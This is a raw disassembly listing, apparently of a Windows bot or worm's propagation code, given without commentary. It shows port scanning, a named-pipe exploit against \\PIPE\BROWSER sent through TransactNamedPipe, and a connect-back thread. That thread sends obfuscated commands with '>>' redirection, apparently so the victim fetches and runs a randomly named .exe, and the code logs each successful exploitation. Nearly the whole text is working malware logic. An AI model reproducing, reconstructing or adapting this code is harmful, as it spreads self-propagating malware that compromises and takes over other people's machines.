lea eax, [ebp+var_30]
push 41h
push eax
call sub_429690
add esp, 20h
call sub_429ACC
mov [ebp+var_70], eax
xor eax, eax
inc eax
cmp byte_43E0B0[esi], bl
mov dword ptr [ebp+var_68+4], eax
mov dword ptr [ebp+var_68], ebx
mov [ebp+var_6C], eax
mov [ebp+var_60], bx
jz short loc_405FCA
push 4
push offset dword_455384
jmp short loc_405FDC
; ---------------------------------------------------------------------------
loc_405FCA: ; CODE XREF: sub_405C6A+355j
cmp byte_43E0B1[esi], bl
jz short loc_405FF1
push 2
pop eax
push 4
push offset loc_43E154
loc_405FDC: ; CODE XREF: sub_405C6A+35Ej
mov [ebp+var_2C], eax
mov [ebp+var_24], eax
lea eax, [ebp+var_20]
mov [ebp+var_28], ebx
push eax
call sub_429350
add esp, 0Ch
loc_405FF1: ; CODE XREF: sub_405C6A+366j
call sub_429ACC
mov edi, 0FAh
cdq
mov ecx, edi
idiv ecx
inc edx
mov [ebp+var_30], edx
call sub_429ACC
cdq
idiv edi
mov eax, dword_43E0A4[esi]
mov [ebp+var_18], ebx
push eax
mov [ebp+var_4], eax
inc edx
mov [ebp+var_1C], edx
call sub_4296E8
mov edi, eax
pop ecx
cmp edi, ebx
jnz short loc_40603A
loc_406029: ; CODE XREF: sub_405C6A+2EFj
push [ebp+arg_CC]
call dword_437044 ; CloseHandle
jmp loc_40638A
; ---------------------------------------------------------------------------
loc_40603A: ; CODE XREF: sub_405C6A+3BDj
mov eax, [ebp+var_4]
add eax, 0FFFFFFFEh
push eax
push 90h
push edi
call sub_429690
mov eax, [ebp+var_4]
push 2
push ebx
lea eax, [edi+eax-2]
push eax
call sub_429690
mov eax, dword_43E0AC[esi]
push 7
add eax, edi
push offset dword_43E098
push eax
mov [ebp-8], eax
call sub_429350
push dword_43E0CC
mov eax, [ebp-8]
add eax, 7
push offset dword_43A8E8
push eax
call sub_429350
mov eax, dword_43E0A8[esi]
add esp, 30h
cmp byte_43E0B0[esi], bl
mov [ebp-8], eax
jz short loc_4060EC
push 4
add eax, edi
push offset dword_455374
push eax
call sub_429350
add dword ptr [ebp-8], 0Ch
mov esi, offset dword_43E0C8
mov eax, [ebp-8]
push 4
add eax, edi
push esi
push eax
call sub_429350
mov eax, [ebp-8]
push 4
push esi
lea eax, [eax+edi+24h]
push eax
mov [ebp-8], eax
call sub_429350
mov eax, [ebp-8]
push 4
add eax, 0Ch
push esi
push eax
call sub_429350
add esp, 30h
jmp short loc_40611C
; ---------------------------------------------------------------------------
loc_4060EC: ; CODE XREF: sub_405C6A+433j
cmp byte_43E0B1[esi], bl
jz short loc_40611C
add eax, edi
mov dword ptr [ebp+var_10], 10h
mov [ebp-8], eax
mov esi, offset dword_43E0C8
loc_406105: ; CODE XREF: sub_405C6A+4B0j
push 4
push esi
push dword ptr [ebp-8]
call sub_429350
add dword ptr [ebp-8], 4
add esp, 0Ch
dec dword ptr [ebp+var_10]
jnz short loc_406105
loc_40611C: ; CODE XREF: sub_405C6A+480j
; sub_405C6A+488j
mov eax, [ebp+var_4]
add eax, 42h
push eax
call sub_4296E8
mov esi, eax
pop ecx
cmp esi, ebx
mov dword ptr [ebp+var_10], esi
jnz short loc_40614A
push [ebp+arg_CC]
call dword_437044 ; CloseHandle
push edi
call sub_429822
pop ecx
jmp loc_40638A
; ---------------------------------------------------------------------------
loc_40614A: ; CODE XREF: sub_405C6A+4C6j
mov eax, [ebp+var_4]
add eax, 42h
push eax
push ebx ; double
push esi
call sub_429690
lea eax, [ebp+var_70]
push 14h
push eax
push esi
call sub_429350
mov eax, [ebp+var_4]
mov [ebp-8], ebx
mov dword ptr [ebp+var_10+4], eax
add esp, 10h
fild [ebp+var_10+4]
fmul flt_437300
fstp [esp+10h+var_10]
call sub_42A636
call sub_42A910
push [ebp+var_4]
mov [esi+1Ch], eax
mov [esi+14h], eax
lea eax, [esi+20h]
push edi
push eax
mov [esi+18h], ebx
call sub_429350
mov eax, [ebp+var_4]
add esp, 14h
add eax, 20h
test al, 3
mov [ebp-8], eax
jz short loc_4061B4
loc_4061AC: ; CODE XREF: sub_405C6A+545j
inc eax
test al, 3
jnz short loc_4061AC
mov [ebp-8], eax
loc_4061B4: ; CODE XREF: sub_405C6A+540j
lea ecx, [ebp+var_30]
push 1Ch
add eax, esi
push ecx
push eax
call sub_429350
add dword ptr [ebp-8], 1Ch
push edi
call sub_429822
push 18h
lea eax, [ebp+var_48]
push ebx
push eax
call sub_429690
push 14h
lea eax, [ebp+var_5C]
push ebx
push eax
mov [ebp+var_48], 5
mov [ebp+var_47], bl
mov [ebp+var_46], bl
mov [ebp+var_45], 3
mov [ebp+var_44], 10h
mov [ebp+var_3E], bx
mov [ebp+var_3C], ebx
mov [ebp+var_34], bx
mov [ebp+var_32], 1Fh
call sub_429690
add esp, 28h
push ebx
push ebx
push 1
push ebx
call dword_437080 ; CreateEventA
mov [ebp+var_4C], eax
mov [ebp+var_4], ebx
jmp short loc_406223
; ---------------------------------------------------------------------------
loc_406220: ; CODE XREF: sub_405C6A+5F7j
; sub_405C6A+63Ej
mov esi, dword ptr [ebp+var_10]
loc_406223: ; CODE XREF: sub_405C6A+5B4j
cmp [ebp+var_4], 2
jge loc_406361
push 1
push 10B8h
push dword ptr [ebp-8]
inc [ebp+var_4]
push esi
lea esi, [ebp+var_48]
sub esp, 18h
push 6
pop ecx
mov edi, esp
push [ebp+arg_CC]
rep movsd
call sub_405B7C
add esp, 2Ch
test al, al
jz loc_40635E
cmp [ebp+var_4C], ebx
jz short loc_406220
lea eax, [ebp+var_5C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_60DC]
push 2000h
push eax
push [ebp+arg_CC]
call dword_437084 ; ReadFile
test eax, eax
jnz short loc_406298
call dword_43716C ; RtlGetLastWin32Error
cmp eax, 3E5h
jnz loc_40638A
loc_406298: ; CODE XREF: sub_405C6A+61Bj
push 64h
push [ebp+var_4C]
call dword_43707C ; WaitForSingleObject
cmp eax, 102h
jnz loc_406220
push 7D0h
call dword_43718C ; Sleep
movzx eax, word_443986
push eax
lea esi, [ebp+arg_8]
sub esp, 0C4h
push 31h
pop ecx
mov edi, esp
rep movsd
call sub_401B6E
mov edx, [ebp+arg_B4]
add esp, 0C8h
mov eax, edx
mov edi, offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
shl eax, 6
mov esi, offset aSSSExD ; "%s %s -> %s (Ex: %d)"
lea ecx, dword_43A380[eax]
inc dword ptr [ecx]
cmp [ebp+arg_C4], ebx
mov ecx, [ecx]
jz short loc_40632D
cmp [ebp+arg_BC], ebx
jnz short loc_406335
push ecx
lea ecx, [ebp+arg_8]
lea eax, dword_43A357[eax]
push ecx
push eax
push edi
push esi
push [ebp+arg_0]
push [ebp+arg_4]
call sub_41CD84
mov edx, [ebp+arg_B4]
add esp, 1Ch
loc_40632D: ; CODE XREF: sub_405C6A+697j
cmp [ebp+arg_BC], ebx
jz short loc_406359
loc_406335: ; CODE XREF: sub_405C6A+69Fj
shl edx, 6
lea eax, [ebp+arg_8]
push dword_43A380[edx]
push eax
lea eax, dword_43A357[edx]
push eax
push edi
push esi
push [ebp+arg_0]
push [ebp+arg_4]
call sub_41CD0E
add esp, 1Ch
loc_406359: ; CODE XREF: sub_405C6A+6C9j
xor eax, eax
inc eax
jmp short loc_40638C
; ---------------------------------------------------------------------------
loc_40635E: ; CODE XREF: sub_405C6A+5EEj
mov esi, dword ptr [ebp+var_10]
loc_406361: ; CODE XREF: sub_405C6A+5BDj
lea eax, [ebp+arg_8]
push eax
call sub_401E8E
mov edi, dword_437044
pop ecx
push [ebp+arg_CC]
call edi ; dword_437044
push esi
call sub_429822
cmp [ebp+var_4C], ebx
pop ecx
jz short loc_40638A
push [ebp+var_4C]
call edi ; dword_437044
loc_40638A: ; CODE XREF: sub_405C6A+167j
; sub_405C6A+215j ...
xor eax, eax
loc_40638C: ; CODE XREF: sub_405C6A+6F2j
pop edi
pop esi
pop ebx
leave
retn
sub_405C6A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406391 proc near ; CODE XREF: sub_406D50+46Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
push esi
inc ebx
push edi
lea eax, [ebp+arg_8]
push ebx
push eax
call sub_4044F6
pop ecx
test eax, eax
pop ecx
jnz short loc_4063B7
lea eax, [ebp+arg_8]
push 5
push eax
call sub_4044F6
pop ecx
pop ecx
loc_4063B7: ; CODE XREF: sub_406391+17j
cmp eax, ebx
jnz short loc_4063BF
loc_4063BB: ; CODE XREF: sub_406391+31j
push 0
jmp short loc_4063CA
; ---------------------------------------------------------------------------
loc_4063BF: ; CODE XREF: sub_406391+28j
cmp eax, 2
jz short loc_4063BB
cmp eax, 3
jnz short loc_4063F3
push ebx
loc_4063CA: ; CODE XREF: sub_406391+2Cj
sub esp, 0C4h
lea esi, [ebp+arg_8]
push 31h
pop ecx
mov edi, esp
push [ebp+arg_4]
rep movsd
push [ebp+arg_0]
call sub_405C6A
add esp, 0D0h
test eax, eax
jz short loc_4063F3
mov eax, ebx
jmp short loc_4063F5
; ---------------------------------------------------------------------------
loc_4063F3: ; CODE XREF: sub_406391+36j
; sub_406391+5Cj
xor eax, eax
loc_4063F5: ; CODE XREF: sub_406391+60j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_406391 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4063FA proc near ; DATA XREF: sub_4066B3+13Co
var_6A0 = byte ptr -6A0h
var_2A0 = byte ptr -2A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 6A0h
mov eax, [ebp+arg_0]
push ebx
push esi
xor esi, esi
inc esi
push edi
mov [eax+0BCh], esi
xor ebx, ebx
push 10h
lea eax, [ebp+var_10]
push ebx
push eax
call sub_429690
add esp, 0Ch
mov [ebp+var_10], 2
push dword_454F40
call dword_456F5C ; inet_addr
mov [ebp+var_C], eax
mov ax, word_443986
push eax
call dword_456F18 ; ntohs
push ebx
push esi
push 2
mov [ebp+var_E], ax
call dword_456FB0 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
jz loc_406682
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call dword_456E9C ; connect
cmp eax, 0FFFFFFFFh
jz loc_406682
push ebx
lea eax, [ebp+var_6A0]
push 400h
push eax
push edi
call dword_456F38 ; recv
call sub_429ACC
push 9
pop esi
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
idiv esi
lea eax, [ebp+var_2A0]
push edx
push offset dword_44399C
push offset aSDDDDD_exe ; "%s%d%d%d%d%d.exe"
push eax
call sub_429A33
add esp, 20h
cmp dword_456D88, ebx
jnz loc_40658E
push dword_454F40
call sub_41E3FB
test eax, eax
pop ecx
mov [ebp+arg_0], offset dword_457CD8
jnz short loc_406503
mov [ebp+arg_0], offset dword_457C20
loc_406503: ; CODE XREF: sub_4063FA+100j
lea eax, [ebp+var_2A0]
push eax
push offset aAqq27_7qqv10 ; "AQQ27.7qQv10"
call sub_401AF0
push eax
push offset aJsuah_0_mmw0zb ; "JsuAH.0.mmW0zbFKT0RKhRb0"
call sub_401AF0
push eax
mov esi, offset aVxppy0owq7d ; "VxPpy0owQ7D/"
push offset aLvk_hHddio0 ; "Lvk.H/hddio0"
push esi
call sub_401AF0
push eax
lea eax, [ebp+var_2A0]
push eax
push offset aUfbss0cbo8c_ ; "uFbSS0Cbo8C."
push esi
call sub_401AF0
push eax
call sub_401A77
push eax
call sub_401A77
push eax
push offset aVgh9x1uWay0 ; "VgH9X1u/wAY0"
push esi
call sub_401AF0
push eax
mov esi, 190h
push dword_454A10
lea eax, [ebp+var_1A0]
push [ebp+arg_0]
push offset aW50oj_ac8ak0 ; "w50OJ.ac8AK0"
push offset a_9fty1n2tM_ ; ".9ftY1N2T/m."
push offset aSSSDSSSSSSSSSS ; "%s %s %s %d >> %s %s %s %s %s >> %s %s "...
push esi
push eax
call sub_429AEE
add esp, 60h
jmp loc_40661B
; ---------------------------------------------------------------------------
loc_40658E: ; CODE XREF: sub_4063FA+E5j
mov ebx, offset dword_456B88
push ebx
push offset aAqq27_7qqv10 ; "AQQ27.7qQv10"
call sub_401AF0
push eax
push offset aJsuah_0_mmw0zb ; "JsuAH.0.mmW0zbFKT0RKhRb0"
call sub_401AF0
push eax
mov esi, offset aVxppy0owq7d ; "VxPpy0owQ7D/"
push offset aLvk_hHddio0 ; "Lvk.H/hddio0"
push esi
call sub_401AF0
push eax
push ebx
push offset aUfbss0cbo8c_ ; "uFbSS0Cbo8C."
push esi
call sub_401AF0
push eax
push offset aEih0f1gakfp0 ; "EiH0f1GakFP0"
push esi
call sub_401AF0
push eax
push offset dword_456988
push offset dword_456788
push offset aVgh9x1uWay0 ; "VgH9X1u/wAY0"
push esi
call sub_401AF0
push eax
mov esi, 190h
push dword_456780
lea eax, [ebp+var_1A0]
push offset dword_456580
push offset aW50oj_ac8ak0 ; "w50OJ.ac8AK0"
push offset a_9fty1n2tM_ ; ".9ftY1N2T/m."
push offset aSSSDSSSSSSSS_0 ; "%s %s %s %d >> %s %s %s %s %s >> %s %s "...
push esi
push eax
call sub_429AEE
add esp, 6Ch
xor ebx, ebx
loc_40661B: ; CODE XREF: sub_4063FA+18Fj
lea eax, [ebp+var_1A0]
push ebx
push eax
call sub_4292D0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push edi
call dword_456F6C ; send
cmp eax, 0FFFFFFFFh
jz short loc_406682
push esi
call dword_43718C ; Sleep
lea eax, [ebp+var_2A0]
push eax
push offset aS_6 ; "%s\r\n"
lea eax, [ebp+var_1A0]
push esi
push eax
call sub_429AEE
add esp, 10h
lea eax, [ebp+var_1A0]
push ebx
push eax
call sub_4292D0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push edi
call dword_456F6C ; send
cmp eax, 0FFFFFFFFh
jnz short loc_406686
loc_406682: ; CODE XREF: sub_4063FA+5Ej
; sub_4063FA+74j ...
xor eax, eax
jmp short loc_4066AC
; ---------------------------------------------------------------------------
loc_406686: ; CODE XREF: sub_4063FA+286j
xor esi, esi
push ebx
lea eax, [ebp+var_6A0]
push 400h
inc esi
push eax
push edi
mov dword_455380, esi
call dword_456F38 ; recv
push edi
call dword_456FD0 ; closesocket
mov eax, esi
loc_4066AC: ; CODE XREF: sub_4063FA+28Aj
pop edi
pop esi
pop ebx
leave
retn 4
sub_4063FA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4066B3 proc near ; CODE XREF: sub_406D50+2CBp
var_340 = byte ptr -340h
var_23C = byte ptr -23Ch
var_138 = byte ptr -138h
var_34 = byte ptr -34h
var_30 = dword ptr -30h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
arg_B4 = dword ptr 0BCh
arg_BC = dword ptr 0C4h
arg_C4 = dword ptr 0CCh
push ebp
mov ebp, esp
sub esp, 340h
lea eax, [ebp+arg_8]
push ebx
mov dword_454F40, eax
mov eax, [ebp+arg_BC]
mov dword_455378, eax
mov eax, [ebp+arg_C4]
mov dword_45537C, eax
mov eax, [ebp+arg_B4]
push esi
push edi
shl eax, 6
push 6
xor edi, edi
add eax, offset dword_43A357
push 1
push 2
mov [ebp+var_14], edi
mov dword_454AB8, eax
call dword_4372B8
push 480h
mov esi, offset dword_454AC0
push edi
push esi
mov [ebp+var_8], 20804h
call sub_429690
push 42Ah
mov ebx, offset dword_454F48
push 0FFFFFF90h
push ebx
call sub_429690
lea eax, [ebp+arg_8]
push 5
push eax
call sub_4044F6
add esp, 20h
cmp eax, 9
mov [ebp+var_10], eax
jz short loc_4067B8
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_23C]
push offset aSPipe ; "\\\\%s\\PIPE"
push eax
call sub_429A33
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_340]
push offset aSPipeBrowser ; "\\\\%s\\PIPE\\BROWSER"
push eax
call sub_429A33
lea eax, [ebp+var_23C]
add esp, 18h
mov [ebp+var_20], eax
mov eax, offset byte_454A34
push edi
push eax
push eax
lea eax, [ebp+var_34]
push eax
mov [ebp+var_30], edi
mov [ebp+var_24], edi
mov [ebp+var_18], edi
call sub_428FFA
push edi
push edi
push 3
push edi
push edi
lea eax, [ebp+var_340]
push 0C0000000h
push eax
call dword_43705C ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jnz short loc_4067BF
push eax
call dword_437044 ; CloseHandle
loc_4067B8: ; CODE XREF: sub_4066B3+8Cj
xor eax, eax
jmp loc_406C35
; ---------------------------------------------------------------------------
loc_4067BF: ; CODE XREF: sub_4066B3+FCj
lea ecx, [ebp+var_4]
push edi
push ecx
lea ecx, [ebp+var_138]
push 104h
push ecx
push 48h
push offset dword_43E0F0
push eax
call dword_437058 ; TransactNamedPipe
test eax, eax
jz loc_406C2A
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+arg_8]
push edi
push eax
push offset sub_4063FA
push edi
push edi
call dword_43717C ; CreateThread
cmp [ebp+var_10], 2
jz loc_406A02
cmp [ebp+var_10], 1
jz loc_406A02
cmp [ebp+var_10], 3
jnz loc_406C20
push dword_43E13C
push offset dword_43A8E8
push ebx
call sub_429350
mov eax, [ebp+var_8]
push 4
add eax, 6
pop ebx
mov [ebp+var_4], eax
lea eax, [ebp+var_4]
push ebx
push eax
push offset dword_4551AC
call sub_429350
lea eax, [ebp+var_8]
push ebx
push eax
push offset dword_4551B8
call sub_429350
lea eax, [ebp+var_8]
push ebx
push eax
push offset dword_4551DC
call sub_429350
lea eax, [ebp+var_8]
push ebx
push eax
push offset dword_4551E8
call sub_429350
push 2
push offset dword_45538C
push offset dword_45520C
call sub_429350
add esp, 48h
lea eax, [ebp+var_4]
mov [ebp+var_4], 31Ch
push 2
push eax
push offset dword_43E0D8
call sub_429350
lea eax, [ebp+var_4]
push 2
push eax
push offset dword_43E0E0
mov [ebp+var_4], 304h
call sub_429350
push 18h
push offset dword_43E0D0
push esi
call sub_429350
mov esi, offset dword_43E1D0
push ebx
push esi
push offset dword_454AD8
call sub_429350
push ebx
push esi
push offset dword_454ADC
call sub_429350
mov edi, offset dword_455384
push ebx
push edi
push offset dword_454AE0
call sub_429350
add esp, 48h
push ebx
push esi
push offset dword_454AE4
call sub_429350
push ebx
push edi
push offset dword_454AE8
call sub_429350
push ebx
push offset dword_43E1C8
push offset dword_454AEC
call sub_429350
push ebx
push edi
push offset dword_454AF0
call sub_429350
push ebx
push offset dword_43E1C8
push offset dword_454AF4
call sub_429350
push 2C6h
push offset dword_454F48
push offset dword_454AF8
call sub_429350
add esp, 48h
push ebx
push esi
push offset dword_454DC0
call sub_429350
push ebx
push esi
push offset dword_454DC4
call sub_429350
push ebx
push edi
push offset dword_454DC8
call sub_429350
push ebx
push esi
push offset dword_454DCC
call sub_429350
push ebx
push edi
push offset dword_454DD0
call sub_429350
push ebx
push esi
push offset dword_454DD4
call sub_429350
add esp, 48h
push ebx
push edi
push offset dword_454DD8
call sub_429350
add esp, 0Ch
lea eax, [ebp+var_4]
mov ebx, 104h
mov esi, dword_437058
push 0
push eax
lea eax, [ebp+var_138]
push ebx
mov edi, 31Ch
push eax
push edi
push offset dword_454AC0
push [ebp+var_C]
call esi ; dword_437058
cmp [ebp+var_4], 0
jz short loc_4069F0
lea eax, [ebp+var_4]
push 0
push eax
lea eax, [ebp+var_138]
push ebx
push eax
push edi
push offset dword_454AC0
push [ebp+var_C]
call esi ; dword_437058
loc_4069F0: ; CODE XREF: sub_4066B3+322j
push 7D0h
call dword_43718C ; Sleep
xor ebx, ebx
jmp loc_406B98
; ---------------------------------------------------------------------------
loc_406A02: ; CODE XREF: sub_4066B3+14Dj
; sub_4066B3+157j
push dword_43E13C
push offset dword_43A8E8
push offset dword_4551A0
call sub_429350
add esp, 0Ch
mov edi, offset dword_455330
push 4
pop ebx
loc_406A22: ; CODE XREF: sub_4066B3+385j
lea eax, [ebp+var_8]
push ebx
push eax
push edi
call sub_429350
add edi, ebx
add esp, 0Ch
cmp edi, offset dword_455370
jl short loc_406A22
lea eax, [ebp+var_4]
push 2
push eax
push offset dword_43E0D8
mov [ebp+var_4], 480h
call sub_429350
lea eax, [ebp+var_4]
push 2
push eax
push offset dword_43E0E0
mov [ebp+var_4], 464h
call sub_429350
push 18h
push offset dword_43E0D0
push esi
call sub_429350
mov esi, offset dword_43E1D0
push ebx
push esi
push offset dword_454AD8
call sub_429350
push ebx
push esi
push offset dword_454ADC
call sub_429350
mov edi, offset dword_455384
push ebx
push edi
push offset dword_454AE0
call sub_429350
add esp, 48h
push ebx
push esi
push offset dword_454AE4
call sub_429350
push ebx
push edi
push offset dword_454AE8
call sub_429350
push ebx
push offset dword_43E1C0
push offset dword_454AEC
call sub_429350
push ebx
push edi
push offset dword_454AF0
call sub_429350
push ebx
push offset dword_43E1C0
push offset dword_454AF4
call sub_429350
push 428h
push offset dword_454F48
push offset dword_454AF8
call sub_429350
add esp, 48h
push ebx
push esi
push offset dword_454F24
call sub_429350
push ebx
push offset dword_43E1B8
push offset dword_454F28
call sub_429350
push ebx
push edi
push offset dword_454F2C
call sub_429350
push ebx
push offset dword_43E1B8
push offset dword_454F30
call sub_429350
push ebx
push offset loc_43E154
push offset dword_454F34
call sub_429350
push ebx
push esi
push offset dword_454F38
call sub_429350
add esp, 48h
push ebx
push edi
push offset dword_454F3C
call sub_429350
add esp, 0Ch
xor ebx, ebx
lea eax, [ebp+var_4]
push ebx
push eax
lea eax, [ebp+var_138]
push 104h
push eax
push 480h
push offset dword_454AC0
push [ebp+var_C]
call dword_437058 ; TransactNamedPipe
push 7D0h
call dword_43718C ; Sleep
loc_406B98: ; CODE XREF: sub_4066B3+34Aj
cmp dword_455380, ebx
jz short loc_406C1D
mov edx, [ebp+arg_B4]
mov edi, offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
mov eax, edx
mov esi, offset aSSSExD ; "%s %s -> %s (Ex: %d)"
shl eax, 6
lea ecx, dword_43A380[eax]
inc dword ptr [ecx]
cmp dword_45537C, ebx
mov ecx, [ecx]
jz short loc_406BF1
cmp dword_455378, ebx
jnz short loc_406BF9
push ecx
lea ecx, [ebp+arg_8]
lea eax, dword_43A357[eax]
push ecx
push eax
push edi
push esi
push [ebp+arg_0]
push [ebp+arg_4]
call sub_41CD84
mov edx, [ebp+arg_B4]
add esp, 1Ch
loc_406BF1: ; CODE XREF: sub_4066B3+512j
cmp dword_455378, ebx
jz short loc_406C1D
loc_406BF9: ; CODE XREF: sub_4066B3+51Aj
shl edx, 6
lea eax, [ebp+arg_8]
push dword_43A380[edx]
push eax
lea eax, dword_43A357[edx]
push eax
push edi
push esi
push [ebp+arg_0]
push [ebp+arg_4]
call sub_41CD0E
add esp, 1Ch
loc_406C1D: ; CODE XREF: sub_4066B3+4EBj
; sub_4066B3+544j
xor edi, edi
inc edi
loc_406C20: ; CODE XREF: sub_4066B3+161j
lea eax, [ebp+arg_8]
push eax
call sub_401E8E
pop ecx
loc_406C2A: ; CODE XREF: sub_4066B3+12Dj
push [ebp+var_C]
call dword_437044 ; CloseHandle
mov eax, edi
loc_406C35: ; CODE XREF: sub_4066B3+107j
pop edi
pop esi
pop ebx
leave
retn
sub_4066B3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406C3A proc near ; CODE XREF: sub_407252+3Fp
var_4 = byte ptr -4
arg_8 = byte ptr 10h
arg_110 = dword ptr 118h
arg_138 = dword ptr 140h
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_110], 0FFFFFFFFh
push edi
jz loc_406D4D
push 0Ch
call sub_423737
test eax, eax
pop ecx
jnz loc_406D4D
xor edi, edi
cmp dword_457F48, edi
jnz short loc_406C89
call dword_437184 ; GetTickCount
push eax
call sub_429ABF
pop ecx
call sub_429ACC
cdq
mov ecx, 9CBDh
idiv ecx
inc edx
mov dword_4555A4, edx
jmp short loc_406C95
; ---------------------------------------------------------------------------
loc_406C89: ; CODE XREF: sub_406C3A+2Aj
movzx eax, word_443982
mov dword_4555A4, eax
loc_406C95: ; CODE XREF: sub_406C3A+4Dj
push esi
mov esi, offset dword_455394
push 104h
push esi
push edi
mov dword_4555A0, edi
call dword_437178 ; GetModuleFileNameA
push 103h
push offset dword_443990
push offset dword_455498
call sub_429C40
lea eax, [ebp+arg_8]
push 7Fh
push eax
push offset dword_4555A8
mov dword_455634, edi
call sub_429C40
mov eax, [ebp+arg_138]
push esi
push dword_4555A4
mov dword_455638, eax
push offset aKbwmi16jfhl ; "KbwMi16jFhl/"
push offset a5oke1awbzq ; "5OkE/1AWBZq/"
push offset aJt17j1imtvd1 ; "jt17J1ImTVD1"
push offset aSSSIFileS_ ; "%s %s, %s: %i, File: %s."
push 0Ch
call sub_4233DE
add esp, 34h
mov dword_45559C, eax
lea eax, [ebp+var_4]
push eax
push edi
push offset dword_455390
push offset sub_402CBA
push edi
push edi
call dword_43717C ; CreateThread
mov ecx, dword_45559C
pop esi
imul ecx, 2724h
cmp eax, edi
mov dword_46D70C[ecx], eax
jz short loc_406D4D
jmp short loc_406D45
; ---------------------------------------------------------------------------
loc_406D3D: ; CODE XREF: sub_406C3A+111j
push 32h
call dword_43718C ; Sleep
loc_406D45: ; CODE XREF: sub_406C3A+101j
cmp dword_455634, edi
jz short loc_406D3D
loc_406D4D: ; CODE XREF: sub_406C3A+Cj
; sub_406C3A+1Cj ...
pop edi
leave
retn
sub_406C3A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406D50 proc near ; DATA XREF: sub_407252+B0o
var_210 = byte ptr -210h
var_200 = byte ptr -200h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
var_14C = dword ptr -14Ch
var_144 = byte ptr -144h
var_44 = dword ptr -44h
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 210h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Eh
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
rep movsd
xor esi, esi
push 10h
inc esi
push 0
mov [eax+134h], esi
mov eax, [ebp+var_14C]
mov [ebp+arg_0], eax
lea eax, [ebp+var_14]
push eax
call sub_429690
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+var_44]
call dword_456F18 ; ntohs
mov [ebp+var_12], ax
mov eax, [ebp+var_30]
push 6
push esi
push 2
mov [ebp+var_10], eax
call dword_456FB0 ; socket
push offset dword_457C20
mov edi, eax
push [ebp+var_30]
mov [ebp+var_4], edi
call dword_456FBC ; inet_ntoa
mov esi, dword_437174
push eax
call esi ; dword_437174
test eax, eax
jz loc_407249
push offset dword_457CD8
push [ebp+var_30]
call dword_456FBC ; inet_ntoa
push eax
call esi ; dword_437174
test eax, eax
jz loc_407249
cmp edi, 0FFFFFFFFh
jz loc_407238
lea eax, [ebp+var_14]
push 10h
push eax
push edi
call dword_456E9C ; connect
mov ecx, [ebp+var_38]
imul ecx, 2724h
cmp eax, 0FFFFFFFFh
mov dword_46D710[ecx], edi
jz loc_407238
cmp [ebp+var_20], 0
mov edi, offset aTarxm0mtxpp_ ; "tArXm0mtxpp."
mov ebx, offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
mov esi, offset aSSSingleIpSSDO ; "%s %s single Ip: (%s) %s: (%d) open."
jnz short loc_406E5F
cmp [ebp+var_28], 0
jnz short loc_406E65
push [ebp+var_44]
push offset aKbwmi16jfhl ; "KbwMi16jFhl/"
push [ebp+var_30]
call dword_456FBC ; inet_ntoa
push eax
push edi
push ebx
lea eax, [ebp+var_144]
push esi
push eax
push [ebp+arg_0]
call sub_41CD84
add esp, 20h
loc_406E5F: ; CODE XREF: sub_406D50+E0j
cmp [ebp+var_28], 0
jz short loc_406E8C
loc_406E65: ; CODE XREF: sub_406D50+E6j
push [ebp+var_44]
push offset aKbwmi16jfhl ; "KbwMi16jFhl/"
push [ebp+var_30]
call dword_456FBC ; inet_ntoa
push eax
push edi
push ebx
lea eax, [ebp+var_144]
push esi
push eax
push [ebp+arg_0]
call sub_41CD0E
add esp, 20h
loc_406E8C: ; CODE XREF: sub_406D50+113j
push [ebp+var_30]
call dword_456FBC ; inet_ntoa
push eax
lea eax, [ebp+var_210]
push 10h
push eax
call sub_429AEE
lea eax, [ebp+var_144]
push eax
lea eax, [ebp+var_200]
push 80h
push eax
call sub_429AEE
mov eax, [ebp+var_28]
mov ecx, [ebp+var_38]
and [ebp+var_164], 0
mov [ebp+var_15C], eax
mov eax, [ebp+var_20]
add esp, 18h
mov [ebp+var_158], eax
mov eax, [ebp+var_44]
cmp eax, 87h
mov [ebp+var_16C], eax
mov [ebp+var_168], ecx
jnz loc_406FF0
sub esp, 0C4h
lea esi, [ebp+var_210]
lea eax, [ebp+var_144]
push 31h
